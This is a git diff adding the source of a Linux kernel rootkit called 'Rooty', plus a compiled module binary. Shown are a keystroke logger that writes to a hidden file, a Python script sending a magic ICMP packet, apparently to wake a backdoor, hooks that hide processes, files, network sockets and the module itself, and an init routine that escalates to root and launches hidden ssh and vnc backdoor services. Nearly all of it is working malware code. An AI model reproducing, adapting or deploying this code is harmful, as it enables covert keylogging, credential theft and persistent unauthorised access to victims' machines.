LOGSIZE - logidx); + + logidx += len; +} + + +static void ksym_fnc ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char val = param->value & 0xff; + unsigned long len; + + if ( val & 0xf0 ) + { + len = strlcpy(&logbuf[logidx], upper[val & 0x0f], LOGSIZE - logidx); + //printk("rooty: KEYLOGGER: ksym_fnc: %s\n",upper[val & 0x0f]); + } + else + { + len = strlcpy(&logbuf[logidx], fncs[val], LOGSIZE - logidx); + //printk("rooty: KEYLOGGER: ksym_loc: %s\n",fncs[val]); + } + + logidx += len; +} + +static void ksym_loc ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_loc: %s\n",locpad[val]); + len = strlcpy(&logbuf[logidx], locpad[val], LOGSIZE - logidx); + + logidx += len; +} + +static void ksym_num ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_num: %s\n",numpad[val]); + len = strlcpy(&logbuf[logidx], numpad[val], LOGSIZE - logidx); + + logidx += len; +} + +static void ksym_arw ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_arw: %s\n",arrows[val]); + len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx); + logidx += len; +} + +static void ksym_mod ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + unsigned char val = param->value & 0xff; + //printk("rooty: KEYLOGGER: ksym_mod: %s\n",mod[val]); + len = strlcpy(&logbuf[logidx], arrows[val], LOGSIZE - logidx); + logidx += len; +} + +static void ksym_cap ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned long len; + //printk("rooty: KEYLOGGER: ksym_cap: \n"); + len = strlcpy(&logbuf[logidx], "", LOGSIZE - logidx); + logidx += len; +} + +void translate_keysym ( struct keyboard_notifier_param *param, char *buf ) +{ + unsigned char type = (param->value >> 8) & 0x0f; + + if ( logidx >= LOGSIZE ) + { + printk("rooty: KEYLOGGER: Failed to log key, buffer is full\n"); + return; + } + + switch ( type ) + { + case 0x0: + ksym_std(param, buf); + break; + + case 0x1: + ksym_fnc(param, buf); + break; + + case 0x2: + ksym_loc(param, buf); + break; + + case 0x3: + ksym_num(param, buf); + break; + + case 0x6: + ksym_arw(param, buf); + break; + + case 0x7: + ksym_mod(param, buf); + break; + + case 0xa: + ksym_cap(param, buf); + break; + + case 0xb: + ksym_std(param, buf); + break; + } + + if ( logidx >= FLUSHSIZE && to_flush == 0 ) + { + to_flush = 1; + wake_up_interruptible(&flush_event); + } +} + +int flusher ( void *data ) +{ + loff_t pos = 0; + mm_segment_t old_fs; + ssize_t ret; + + while (1) + { + wait_event_interruptible(flush_event, (to_flush == 1) || kthread_should_stop()); + if(kthread_should_stop()) + return 0; + if (logfile) + { + old_fs = get_fs(); + set_fs(get_ds()); + ret = vfs_write(logfile, logbuf, logidx, &pos); + set_fs(old_fs); + } + to_flush = 0; + logidx = 0; + } + + return 0; +} + +int notify ( struct notifier_block *nblock, unsigned long code, void *_param ) +{ + struct keyboard_notifier_param *param = _param; + if ( logfile && param->down ) + { + switch ( code ) + { + case KBD_KEYCODE: + break; + + case KBD_UNBOUND_KEYCODE: + case KBD_UNICODE: + break; + + case KBD_KEYSYM: + translate_keysym(param, logbuf); + break; + + case KBD_POST_KEYSYM: + break; + + default: + printk("rooty: KEYLOGGER: Received unknown code: %lu\n",code); + break; + } + } + + return NOTIFY_OK; +} + +static struct notifier_block nb = +{ + .notifier_call = notify +}; + +void init_keylogger(void) +{ + printk("rooty: Installing keyboard sniffer\n"); + + register_keyboard_notifier(&nb); + + logfile = filp_open(LOG_FILE, O_WRONLY|O_APPEND|O_CREAT, S_IRWXU); + if ( ! logfile ) + printk("rooty: KEYLOGGER: Failed to open log file: %s", LOG_FILE); + + log_ts = kthread_run(flusher, NULL, "kthread"); + hide_proc(log_ts->pid); +} + +void stop_keylogger(void) +{ + printk("rooty: Uninstalling keyboard sniffer\n"); + unhide_proc(log_ts->pid); + kthread_stop(log_ts); + + if ( logfile ) + filp_close(logfile, NULL); + unregister_keyboard_notifier(&nb); +} diff --git a/Linux/Rootkits/Rooty/keymap.h b/Linux/Rootkits/Rooty/keymap.h new file mode 100644 index 0000000..cedcf27 --- /dev/null +++ b/Linux/Rootkits/Rooty/keymap.h @@ -0,0 +1,414 @@ +#define KEY_NUL "" +#define KEY_SOH "" +#define KEY_STX "" +#define KEY_ETX "" +#define KEY_EOT "" +#define KEY_ENQ "" +#define KEY_ACK "" +#define KEY_BEL "" +#define KEY_BS "" +#define KEY_TAB "" +#define KEY_LF "" +#define KEY_VT "" +#define KEY_FF "" +#define KEY_CR "" +#define KEY_SO "" +#define KEY_SI "" +#define KEY_DLE "" +#define KEY_DC1 "" +#define KEY_DC2 "" +#define KEY_DC3 "" +#define KEY_DC4 "" +#define KEY_NAK "" +#define KEY_SYN "" +#define KEY_ETB "" +#define KEY_CAN "" +#define KEY_EM "" +#define KEY_SUB "" +#define KEY_ESC "" +#define KEY_FS "" +#define KEY_GS "" +#define KEY_RS "" +#define KEY_US "" +#define KEY_SPCE " " +#define KEY_EXCL "!" +#define KEY_DQUO "\"" +#define KEY_HASH "#" +#define KEY_DLLR "$" +#define KEY_PERC "%" +#define KEY_AMPR "&" +#define KEY_SQUO "'" +#define KEY_LPAR "(" +#define KEY_RPAR ")" +#define KEY_STAR "*" +#define KEY_PLUS "+" +#define KEY_COMA "," +#define KEY_HYPH "-" +#define KEY_PERI "." +#define KEY_FWSL "/" +#define KEY_0 "0" +#define KEY_1 "1" +#define KEY_2 "2" +#define KEY_3 "3" +#define KEY_4 "4" +#define KEY_5 "5" +#define KEY_6 "6" +#define KEY_7 "7" +#define KEY_8 "8" +#define KEY_9 "9" +#define KEY_COLN ":" +#define KEY_SEMI ";" +#define KEY_LESS "<" +#define KEY_EQUL "=" +#define KEY_MORE ">" +#define KEY_QUES "?" +#define KEY_AT "@" +#define KEY_U_A "A" +#define KEY_U_B "B" +#define KEY_U_C "C" +#define KEY_U_D "D" +#define KEY_U_E "E" +#define KEY_U_F "F" +#define KEY_U_G "G" +#define KEY_U_H "H" +#define KEY_U_I "I" +#define KEY_U_J "J" +#define KEY_U_K "K" +#define KEY_U_L "L" +#define KEY_U_M "M" +#define KEY_U_N "N" +#define KEY_U_O "O" +#define KEY_U_P "P" +#define KEY_U_Q "Q" +#define KEY_U_R "R" +#define KEY_U_S "S" +#define KEY_U_T "T" +#define KEY_U_U "U" +#define KEY_U_V "V" +#define KEY_U_W "W" +#define KEY_U_X "X" +#define KEY_U_Y "Y" +#define KEY_U_Z "Z" +#define KEY_OSBR "[" +#define KEY_BKSL "\\" +#define KEY_CSBR "]" +#define KEY_CART "^" +#define KEY_USCR "_" +#define KEY_ACNT "`" +#define KEY_L_A "a" +#define KEY_L_B "b" +#define KEY_L_C "c" +#define KEY_L_D "d" +#define KEY_L_E "e" +#define KEY_L_F "f" +#define KEY_L_G "g" +#define KEY_L_H "h" +#define KEY_L_I "i" +#define KEY_L_J "j" +#define KEY_L_K "k" +#define KEY_L_L "l" +#define KEY_L_M "m" +#define KEY_L_N "n" +#define KEY_L_O "o" +#define KEY_L_P "p" +#define KEY_L_Q "q" +#define KEY_L_R "r" +#define KEY_L_S "s" +#define KEY_L_T "t" +#define KEY_L_U "u" +#define KEY_L_V "v" +#define KEY_L_W "w" +#define KEY_L_X "x" +#define KEY_L_Y "y" +#define KEY_L_Z "z" +#define KEY_OCLY "{" +#define KEY_PIPE "|" +#define KEY_CCLY "}" +#define KEY_TLDE "~" +#define KEY_DEL "" +#define KEY_UNKNOWN "" +#define KEY_HOME "" +#define KEY_INSERT "" +#define KEY_DELETE "" +#define KEY_END "" +#define KEY_PGUP "" +#define KEY_PGDN "" +#define KEY_BREAK "" +#define KEY_F1 "" +#define KEY_F2 "" +#define KEY_F3 "" +#define KEY_F4 "" +#define KEY_F5 "" +#define KEY_F6 "" +#define KEY_F7 "" +#define KEY_F8 "" +#define KEY_F9 "" +#define KEY_F10 "" +#define KEY_F11 "" +#define KEY_F12 "" +#define KEY_LALT "" +#define KEY_RALT "" +#define KEY_CTRL "" +#define KEY_SHIFT "" +#define KEY_ENTER "" +#define KEY_UPARW "" +#define KEY_DWNARW "" +#define KEY_LFTARW "" +#define KEY_RGTARW "" +#define KEY_CLEAR "" +#define KEY_NUMLOCK "" +#define KEY_SCROLLOCK "" +#define KEY_PRNTSCRN "" + +char *numpad[16]= +{ + KEY_INSERT, + KEY_END, + KEY_DWNARW, + KEY_PGDN, + KEY_LFTARW, + KEY_CLEAR, + KEY_RGTARW, + KEY_HOME, + KEY_UPARW, + KEY_PGUP, + KEY_PLUS, + KEY_HYPH, + KEY_STAR, + KEY_FWSL, + KEY_ENTER, + KEY_DEL +}; + +char *locpad[16]= +{ + KEY_PRNTSCRN, + KEY_ENTER, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_NUMLOCK, + KEY_SCROLLOCK, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *mod[16]= +{ + KEY_SHIFT, + KEY_LALT, + KEY_CTRL, + KEY_RALT, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *arrows[16]= +{ + KEY_LFTARW, + KEY_RGTARW, + KEY_DWNARW, + KEY_UPARW, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + + +char *ascii[128]= +{ + KEY_NUL, + KEY_SOH, + KEY_STX, + KEY_ETX, + KEY_EOT, + KEY_ENQ, + KEY_ACK, + KEY_BEL, + KEY_BS, + KEY_TAB, + KEY_LF, + KEY_VT, + KEY_FF, + KEY_CR, + KEY_SO, + KEY_SI, + KEY_DLE, + KEY_DC1, + KEY_DC2, + KEY_DC3, + KEY_DC4, + KEY_NAK, + KEY_SYN, + KEY_ETB, + KEY_CAN, + KEY_EM, + KEY_SUB, + KEY_ESC, + KEY_FS, + KEY_GS, + KEY_RS, + KEY_US, + KEY_SPCE, + KEY_EXCL, + KEY_DQUO, + KEY_HASH, + KEY_DLLR, + KEY_PERC, + KEY_AMPR, + KEY_SQUO, + KEY_LPAR, + KEY_RPAR, + KEY_STAR, + KEY_PLUS, + KEY_COMA, + KEY_HYPH, + KEY_PERI, + KEY_FWSL, + KEY_0, + KEY_1, + KEY_2, + KEY_3, + KEY_4, + KEY_5, + KEY_6, + KEY_7, + KEY_8, + KEY_9, + KEY_COLN, + KEY_SEMI, + KEY_LESS, + KEY_LESS, + KEY_MORE, + KEY_QUES, + KEY_AT, + KEY_U_A, + KEY_U_B, + KEY_U_C, + KEY_U_D, + KEY_U_E, + KEY_U_F, + KEY_U_G, + KEY_U_H, + KEY_U_I, + KEY_U_J, + KEY_U_K, + KEY_U_L, + KEY_U_M, + KEY_U_N, + KEY_U_O, + KEY_U_P, + KEY_U_Q, + KEY_U_R, + KEY_U_S, + KEY_U_T, + KEY_U_U, + KEY_U_V, + KEY_U_W, + KEY_U_X, + KEY_U_Y, + KEY_U_Z, + KEY_OSBR, + KEY_BKSL, + KEY_CSBR, + KEY_CART, + KEY_USCR, + KEY_ACNT, + KEY_L_A, + KEY_L_B, + KEY_L_C, + KEY_L_D, + KEY_L_E, + KEY_L_F, + KEY_L_G, + KEY_L_H, + KEY_L_I, + KEY_L_J, + KEY_L_K, + KEY_L_L, + KEY_L_M, + KEY_L_N, + KEY_L_O, + KEY_L_P, + KEY_L_Q, + KEY_L_R, + KEY_L_S, + KEY_L_T, + KEY_L_U, + KEY_L_V, + KEY_L_W, + KEY_L_X, + KEY_L_Y, + KEY_L_Z, + KEY_OCLY, + KEY_PIPE, + KEY_CCLY, + KEY_TLDE, + KEY_DEL +}; + +char *upper[16] = +{ + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_HOME, + KEY_INSERT, + KEY_DELETE, + KEY_END, + KEY_PGUP, + KEY_PGDN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_BREAK, + KEY_UNKNOWN, + KEY_UNKNOWN +}; + +char *fncs[16] = +{ + KEY_F1, + KEY_F2, + KEY_F3, + KEY_F4, + KEY_F5, + KEY_F6, + KEY_F7, + KEY_F8, + KEY_F9, + KEY_F10, + KEY_F11, + KEY_F12, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN, + KEY_UNKNOWN +}; diff --git a/Linux/Rootkits/Rooty/modules.order b/Linux/Rootkits/Rooty/modules.order new file mode 100644 index 0000000..d65b452 --- /dev/null +++ b/Linux/Rootkits/Rooty/modules.order @@ -0,0 +1 @@ +kernel//home/jermey/Dropbox/Studia/INŻ/rooty/rooty.ko diff --git a/Linux/Rootkits/Rooty/ping.py b/Linux/Rootkits/Rooty/ping.py new file mode 100644 index 0000000..0d1e2f4 --- /dev/null +++ b/Linux/Rootkits/Rooty/ping.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +import socket +import sys +import os +from struct import * +import time + +AUTH = 0xDEC0ADDE + +#src_ip = sys.argv[2] +dst_ip = sys.argv[1] + +def checksum(str): + + csum = 0 + countTo = (len(str) / 2) * 2 + + count = 0 + while count < countTo: + thisVal = ord(str[count+1]) * 256 + ord(str[count]) + csum = csum + thisVal + csum = csum & 0xffffffffL # + count = count + 2 + + if countTo < len(str): + csum = csum + ord(str[len(str) - 1]) + csum = csum & 0xffffffffL # + + csum = (csum >> 16) + (csum & 0xffff) + csum = csum + (csum >> 16) + answer = ~csum + answer = answer & 0xffff + + answer = answer >> 8 | (answer << 8 & 0xff00) + + return answer + + +try: + sd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp")) +except socket.error, msg: + print 'Socket could not be created. Err code: ' + str(msg[0]) + ' Message ' + msg[1] + exit() + +packet = ''; + +dst_ip = socket.gethostbyname(dst_ip) +ID = os.getpid() & 0xFFFF +my_checksum = 0 + +header = pack("bbHHh", 8, 0, my_checksum, ID, 1) +data = pack("!I", AUTH); +my_checksum = checksum(header + data) +header = pack("bbHHh", 8, 0, socket.htons(my_checksum), ID, 1) +packet = header + data + +sd.sendto(packet, (dst_ip, 0)) \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/proc_fs_hide.h b/Linux/Rootkits/Rooty/proc_fs_hide.h new file mode 100644 index 0000000..0b0ee25 --- /dev/null +++ b/Linux/Rootkits/Rooty/proc_fs_hide.h @@ -0,0 +1,252 @@ +struct hidden_proc +{ + unsigned short pid; + struct list_head list; +}; + +struct hidden_file +{ + char *name; + struct list_head list; +}; + +struct n_subprocess_info +{ + struct work_struct work; + struct completion *complete; + char *path; + char **argv; + char **envp; + int wait; + int retval; + int (*init)(struct subprocess_info *info); + void (*cleanup)(struct subprocess_info *info); + void *data; + pid_t pid; +}; + +LIST_HEAD(hidden_procs); +LIST_HEAD(hidden_files); + +static int (*proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); +static int (*root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type); + +static int (*proc_iterate)(struct file *file, void *dirent, filldir_t filldir); +static int (*root_iterate)(struct file *file, void *dirent, filldir_t filldir); + +static int callmodule_pid; + +struct n_subprocess_info *n_call_usermodehelper_setup(char *path, char **argv, + char **envp, gfp_t gfp_mask); + +static inline int n_call_usermodehelper_fns(char *path, char **argv, char **envp, + int wait, + int (*init)(struct subprocess_info *info), + void (*cleanup)(struct subprocess_info *), void *data) +{ + struct subprocess_info *info; + struct n_subprocess_info *n_info; + gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL; + int ret; + + populate_rootfs_wait(); + + n_info = n_call_usermodehelper_setup(path, argv, envp, gfp_mask); + info = (struct subprocess_info *) n_info; + + if (info == NULL) + return -ENOMEM; + + call_usermodehelper_setfns(info, init, cleanup, data); + ret = call_usermodehelper_exec(info, wait); + callmodule_pid = n_info->pid; + + + return ret; +} + +static inline int n_call_usermodehelper(char *path, char **argv, char **envp, int wait) +{ + return n_call_usermodehelper_fns(path, argv, envp, wait, + NULL, NULL, NULL); +} + + +static void n__call_usermodehelper(struct work_struct *work) +{ + struct n_subprocess_info *n_sub_info = + container_of(work, struct n_subprocess_info, work); + int wait = n_sub_info->wait; + pid_t pid; + struct subprocess_info *sub_info; + + int (*ptrwait_for_helper)(void *data); + int (*ptr____call_usermodehelper)(void *data); + + ptrwait_for_helper = (void*)kallsyms_lookup_name("wait_for_helper"); + ptr____call_usermodehelper = (void*)kallsyms_lookup_name("____call_usermodehelper"); + + sub_info = (struct subprocess_info *)n_sub_info; + + if (wait == UMH_WAIT_PROC) + pid = kernel_thread((*ptrwait_for_helper), sub_info, + CLONE_FS | CLONE_FILES | SIGCHLD); + else + pid = kernel_thread((*ptr____call_usermodehelper), sub_info, + CLONE_VFORK | SIGCHLD); + + callmodule_pid = pid; + n_sub_info->pid = pid; + + switch (wait) + { + case UMH_NO_WAIT: + call_usermodehelper_freeinfo(sub_info); + break; + + case UMH_WAIT_PROC: + if (pid > 0) + break; + case UMH_WAIT_EXEC: + if (pid < 0) + sub_info->retval = pid; + complete(sub_info->complete); + } +} + + +struct n_subprocess_info *n_call_usermodehelper_setup(char *path, char **argv, + char **envp, gfp_t gfp_mask) +{ + struct n_subprocess_info *sub_infoB; + sub_infoB = kzalloc(sizeof(struct n_subprocess_info), gfp_mask); + if (!sub_infoB) + return sub_infoB; + + INIT_WORK(&sub_infoB->work, n__call_usermodehelper); + sub_infoB->path = path; + sub_infoB->argv = argv; + sub_infoB->envp = envp; + + return sub_infoB; +} + + + +static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) +{ + struct hidden_file *hf; + + list_for_each_entry ( hf, &hidden_files, list ) + if ( ! strcmp(name, hf->name) ) + return 0; + + return root_filldir(__buf, name, namelen, offset, ino, d_type); +} + +int n_root_iterate ( struct file *file, void *dirent, filldir_t filldir ) +{ + int ret; + + root_filldir = filldir; + hijack_pause(root_iterate); + ret = root_iterate(file, dirent, n_root_filldir); + hijack_resume(root_iterate); + + return ret; +} + +static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type ) +{ + struct hidden_proc *hp; + char *endp; + long pid; + + pid = simple_strtol(name, &endp, 10); + list_for_each_entry ( hp, &hidden_procs, list ) + if ( pid == hp->pid ) + return 0; + + return proc_filldir(__buf, name, namelen, offset, ino, d_type); +} + +int n_proc_iterate ( struct file *file, void *dirent, filldir_t filldir ) +{ + int ret; + + proc_filldir = filldir; + hijack_pause(proc_iterate); + ret = proc_iterate(file, dirent, n_proc_filldir); + hijack_resume(proc_iterate); + + return ret; +} + +void *get_vfs_iterate ( const char *path ) +{ + void *ret; + struct file *filep; + + if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL ) + return NULL; + + ret = filep->f_op->readdir; + filp_close(filep, 0); + + return ret; +} + +void hide_file ( char *name ) +{ + struct hidden_file *hf; + + hf = kmalloc(sizeof(*hf), GFP_KERNEL); + if ( ! hf ) + return; + hf->name = name; + + list_add(&hf->list, &hidden_files); +} + +void unhide_file ( char *name ) +{ + struct hidden_file *hf; + + list_for_each_entry ( hf, &hidden_files, list ) + { + if ( !strcmp(name, hf->name) ) + { + list_del(&hf->list); + kfree(hf->name); + kfree(hf); + break; + } + } +} + +void hide_proc ( unsigned short pid ) +{ + struct hidden_proc *hp; + + hp = kmalloc(sizeof(*hp), GFP_KERNEL); + if ( ! hp ) + return; + hp->pid = pid; + + list_add(&hp->list, &hidden_procs); +} + +void unhide_proc ( unsigned short pid ) +{ + struct hidden_proc *hp; + + list_for_each_entry ( hp, &hidden_procs, list ) + { + if ( pid == hp->pid ) + { + list_del(&hp->list); + kfree(hp); + break; + } + } +} diff --git a/Linux/Rootkits/Rooty/rooty b/Linux/Rootkits/Rooty/rooty new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Rooty/rooty.c b/Linux/Rootkits/Rooty/rooty.c new file mode 100644 index 0000000..c4c9403 --- /dev/null +++ b/Linux/Rootkits/Rooty/rooty.c @@ -0,0 +1,132 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscall_table.h" +#include "proc_fs_hide.h" +#include "socket_hide.h" +#include "keymap.h" +#include "keylogger.h" +#include "ssh.h" +#include "ioctl.h" + +MODULE_LICENSE("GPL"); + +int rooty_init(void); +void rooty_exit(void); +module_init(rooty_init); +module_exit(rooty_exit); + +int rooty_init(void) +{ + printk("rooty: Module loaded\n"); + // Do kernel module hiding + list_del_init(&__this_module.list); + kobject_del(&THIS_MODULE->mkobj.kobj); + + // Find the sys_call_table address in kernel memory + if ((syscall_table = (unsigned long *) find_sys_call_table())) + { + printk("rooty: sys_call_table found at %p\n", syscall_table); + } + else + { + printk("rooty: sys_call_table not found, aborting\n"); + return 0; + } + + // get root previlages + root_me(); + + // Hook /proc for hiding processes + proc_iterate = get_vfs_iterate("/proc"); + hijack_start(proc_iterate, &n_proc_iterate); + + // Hook / for hiding files and directories + root_iterate = get_vfs_iterate("/"); + hijack_start(root_iterate, &n_root_iterate); + + // init socket hiding + // Hook /proc/net/tcp for hiding tcp4 connections + tcp4_seq_show = get_tcp_seq_show("/proc/net/tcp"); + hijack_start(tcp4_seq_show, &n_tcp4_seq_show); + + // Hook /proc/net/tcp6 for hiding tcp6 connections + tcp6_seq_show = get_tcp_seq_show("/proc/net/tcp6"); + hijack_start(tcp6_seq_show, &n_tcp6_seq_show); + + // Hook /proc/net/udp for hiding udp4 connections + udp4_seq_show = get_udp_seq_show("/proc/net/udp"); + hijack_start(udp4_seq_show, &n_udp4_seq_show); + + // Hook /proc/net/udp6 for hiding udp4 connections + udp6_seq_show = get_udp_seq_show("/proc/net/udp6"); + hijack_start(udp6_seq_show, &n_udp6_seq_show); + + // Hook inet_ioctl() for rootkit control + inet_ioctl = get_inet_ioctl(AF_INET, SOCK_STREAM, IPPROTO_TCP); + hijack_start(inet_ioctl, &n_inet_ioctl); + + // Init keylogger, store keylog in /.keylog + init_keylogger(); + + // Init userspace ssh server with ICMP watchdog service + init_ssh(); + + // hide rootkit files + hide_file("sshd"); + hide_file("vncd"); + hide_file("rooty.ko"); + hide_file("ioctl"); + + // hide sshd ports + hide_tcp4_port(22); + hide_udp4_port(22); + + //hide vncd ports + hide_tcp4_port(5900); + hide_udp4_port(5900); + hide_tcp6_port(5900); + hide_udp6_port(5900); + + return 0; +} + +void rooty_exit(void) +{ + stop_ssh(); + stop_keylogger(); + hijack_stop(inet_ioctl); + hijack_stop(udp6_seq_show); + hijack_stop(udp4_seq_show); + hijack_stop(tcp6_seq_show); + hijack_stop(tcp4_seq_show); + hijack_stop(root_iterate); + hijack_stop(proc_iterate); + printk("rooty: Module unloaded\n"); +} diff --git a/Linux/Rootkits/Rooty/rooty.ko b/Linux/Rootkits/Rooty/rooty.ko new file mode 100644 index 0000000000000000000000000000000000000000..8f6e6c35482988d51ad38d6e19d13083ae1a9433 GIT binary patch literal 28332 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 